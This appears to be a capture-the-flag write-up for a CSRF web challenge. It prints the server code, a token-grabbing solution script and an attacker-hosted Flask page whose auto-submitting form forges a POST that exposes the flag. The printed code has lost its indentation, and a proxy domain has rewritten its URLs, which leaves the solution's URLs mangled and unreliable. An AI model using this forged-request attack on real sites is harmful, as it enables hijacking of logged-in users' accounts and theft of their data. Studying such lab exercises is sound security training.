The same web server code is used for all challenges.
The level for this challenge is 12.
This is the code for level 12:
def level12():
global global_csrf_token
db.execute(("CREATE TABLE IF NOT EXISTS credentials AS "
'SELECT "flag" AS account_name, ? as secret, ? as is_exposed'),
(flag, False))
if request.path == "/get-csrf-token":
global_csrf_token = secrets.token_hex(16)
return "".join(global_csrf_token) + "\n"
if request.path == "/login":
if request.method == "POST":
account_name = request.form.get("account_name")
secret = request.form.get("secret")
assert account_name, "Missing `account_name` form"
assert secret, "Missing `secret` form"
account = db.execute(f"SELECT rowid, * FROM credentials WHERE
account_name = ? AND secret = ?", (account_name, secret)).fetchone()
assert account, "Invalid `account_name` or `secret`"
session["account"] = int(account["rowid"])
return redirect(request.path)
return form(["account_name", "secret"])
if request.path == "/is-exposed" and request.method == "POST":
account_id = int(session.get("account", -1))
account = db.execute("SELECT * FROM credentials WHERE rowid = ?",
(account_id,)).fetchone()
assert account, "Not logged in"
db.execute(f"UPDATE credentials SET is_exposed = TRUE WHERE rowid = ?",
(account_id,))
return "true\n"
if request.path == "/info":
csrf_token_header = request.headers.get('X-CSRF-Token')
if csrf_token_header and csrf_token_header == global_csrf_token:
assert "account" in request.args, "Missing `account` argument"
account_id = int(request.args["account"])
account = db.execute("SELECT * FROM credentials WHERE rowid = ?",
(account_id,)).fetchone()
assert account, "Invalid `account`"
info = [account["account_name"]]
if account["is_exposed"]:
info.append(account["secret"])
return " ".join(info) + "\n"
if request.path == "/visit":
csrf_token_header = request.headers.get('X-CSRF-Token')
if csrf_token_header and csrf_token_header == global_csrf_token:
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == attacker_url, f"Invalid `url`,
hostname should be `{attacker_url}`"
with run_browser() as browser:
browser.get(f"http://{capture_url}/login")
account_form = {
"account_name": "flag",
"secret": flag,
}
for name, value in account_form.items():
field = browser.find_element(By.NAME, name)
field.send_keys(value)
submit_field = browser.find_element(By.ID, "submit")
submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))
browser.get(url)
time.sleep(1)
return "Visited\n"
return "Not Found\n", 404
We will follow a similar path of URLs like the 10th question. The only difference
is that some paths now need a valid CSRF token in the header and the visit path
goes to a separate flask URL that we need to create. In our flask URL, we simulate
a post request to the is-exposed path using a <form> tag and submit the form on
loading of body, so from the last question only the flask URL html code has
changed. The path is visit -> login (visit goes to this automatically) -> POST
request made to is-exposed -> info. The info path prints the flag.
solution.py:
import requests
s = requests.Session()
token = s.get("http://capture.local/get-csrf-token").text.strip()
# update headers
s.headers.update({'X-CSRF-Token': token})
print(s.get("http://capture.local/visit?url=https%3A%2F%2Fsiteproxy.ruqli.workers.dev%3A443%2Fhttp%2Fattacker.local
%3A5000%2Fis-exposed").text)
print(s.get("http://capture.local/info?account=1").text)
s.close()
app.py:
from flask import Flask
attacker_url = "attacker.local"
app = Flask(__name__)
@app.route('/is-exposed')
def hello_world():
# HTML form designed to auto-submit via JavaScript upon page load
html_form = '''
<html>
<body onload="document.getElementById('leakForm').submit();">
<form id="leakForm" action="http://capture.local/is-exposed"
method="POST">
<input type="hidden" name="someData" value="This will be sent
as part of the POST request">
</form>
<script>
// JavaScript is only used to submit the form when the page loads
</script>
</body>
</html>
'''
return html_form
if __name__ == '__main__':
app.run(attacker_url, debug=False)
- First we run the app in the background using `python3 app.py &`
- The we run the solution script, which prints the flag value